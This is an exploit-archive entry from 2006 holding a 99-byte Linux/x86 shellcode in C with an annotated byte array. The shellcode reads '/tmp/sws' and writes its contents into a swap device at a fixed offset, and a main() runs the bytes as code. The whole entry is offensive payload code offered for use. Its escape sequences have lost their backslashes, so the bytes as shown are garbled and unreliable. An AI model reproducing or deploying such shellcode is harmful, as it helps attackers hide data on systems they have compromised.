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# Title : linux/x86 SWAP store shellcode 99 bytes
# Published : 2006-04-16
# Author : Gotfault Security
# Previous Title : linux/x86 SWAP restore shellcode 109 bytes
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/* 
 * linux-x86-swap-store.c - SWAP store shellcode 99 bytes for Linux/x86
 * Copyright (c) 2006 Gotfault Security & rfdslabs
 *
 * Authors:
 *
 *	dx 	<xgc@gotfault.net> 
 *	spud	<gustavo@rfdslabs.com.br>
 * 
 * This shellcode reads the content of '/tmp/sws' and stores on swap 
 * device at offset 31337. Probaly needs to change the device path name
 * in open() device syscall.
 *
 */

char shellcode[] =

  /* open(device, O_WRONLY) */

  "x6ax05"                    // push   $0x5
  "x58"                        // pop    %eax
  "x99"                        // cltd   
  "x52"                        // push   %edx
  "x68x73x64x61x31"        // push   $0x31616473
  "x68x64x65x76x2f"        // push   $0x2f766564
  "x66x68x2fx2f"            // pushw  $0x2f2f
  "x89xe3"                    // mov    %esp,%ebx
  "x6ax01"                    // push   $0x1
  "x59"                        // pop    %ecx
  "xcdx80"                    // int    $0x80

  "x97"                        // xchg   %eax,%edi

  /* open("/tmp/sws", O_RDONLY) */

  "x49"                        // dec    %ecx
  "x52"                        // push   %edx
  "x68x2fx73x77x73"        // push   $0x7377732f
  "x68x2fx74x6dx70"        // push   $0x706d742f
  "x89xe3"                    // mov    %esp,%ebx
  "x6ax05"                    // push   $0x5
  "x58"                        // pop    %eax
  "xcdx80"                    // int    $0x80

  "x93"                        // xchg   %eax,%ebx

  /* read(fd_filename, *buf, 256) */

  "x89xe1"                    // mov    %esp,%ecx
  "x42"                        // inc    %edx
  "xc1xe2x0a"                // shl    $0xa,%edx
  "x6ax03"                    // push   $0x3
  "x58"                        // pop    %eax
  "xcdx80"                    // int    $0x80

  "x96"                        // xchg   %eax,%esi

  /* close(fd_filename) */

  "x6ax06"                    // push   $0x6
  "x58"                        // pop    %eax
  "xcdx80"                    // int    $0x80

  "x92"                        // xchg   %eax,%edx

  /* lseek(fd_device, 31337, SEEK_SET) */

  "x31xc9"                    // xor    %ecx,%ecx
  "x6ax13"                    // push   $0x13
  "x58"                        // pop    %eax
  "x89xfb"                    // mov    %edi,%ebx
  "x66xb9x69x7a"            // mov    $0x7a69,%cx
  "xcdx80"                    // int    $0x80

  /* write(fd_device, *buf, 1025) */


  "x89x14x34"                // mov    %edx,(%esp,%esi,1)
  "x6ax04"                    // push   $0x4
  "x58"                        // pop    %eax
  "x54"                        // push   %esp
  "x59"                        // pop    %ecx
  "x56"                        // push   %esi
  "x5a"                        // pop    %edx
  "x42"                        // inc    %edx
  "xcdx80"                    // int    $0x80

  /* close(fd_device) */

  "xb0x06"                    // mov    $0x6,%al
  "xcdx80"                    // int    $0x80

  /* exit(anything) */

  "xb0x01"                    // mov    $0x1,%al
  "xcdx80"                    // int    $0x80
;

int main() {
 
        int (*f)() = (int(*)())shellcode;
        printf("Length: %un", strlen(shellcode));
        f();
}

// www.Syue.com [2006-04-16]